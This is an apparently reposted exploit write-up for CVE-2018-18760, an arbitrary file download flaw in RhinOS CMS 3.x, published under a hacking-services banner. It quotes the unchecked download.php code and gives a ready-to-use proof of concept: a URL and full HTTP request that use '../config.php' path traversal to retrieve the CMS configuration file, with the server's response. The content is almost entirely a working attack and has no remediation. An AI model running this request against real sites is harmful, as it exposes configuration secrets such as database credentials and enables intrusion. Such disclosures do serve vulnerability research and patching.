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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: RhinOS CMS 3.x - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: https://netix.dl.sourceforge.net/project/rhinos/archived/r1190/RhinOS-en-3.0-1190.win32.exe
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18760

# Users...
# C:/rhinos/demo/admin/php/download.php
#....
#26 $head=0;$main=0;$tail=0;
#27 include("inicio.php");
#28 if(!check_user()) die();
#29 $name=getParam("name");
#30 $file="files/".getParam("file");
#31 $size=getParam("size");
#32 $type=getParam("type");
#33 if(!file_exists($file)) die();
#34 header("Pragma: public");
#35 header("Expires: 0");
#36 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
#37 header("Content-Type: $type");
#38 header("Content-Length: $size");
#39 header("Content-Disposition: attachment; filename=\"$name\"");
#40 header("Content-Transfer-Encoding: binary");
#41 $fp=fopen($file,"rb");
#42 while(!feof($fp)) echo fread($fp,8192);
#43 fclose($fp);
#44 disconnect();
#....

# POC: 
# 1)
# http://localhost/[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php
# 
GET /[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember=0; PHPSESSID=ek24koab445aab70seegi02lh3
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:23:54 GMT
Server: Apache/2.2.16 (Win32) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Length: 1771
Content-Disposition: attachment; filename="efe.php"
Content-Transfer-Encoding: binary
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: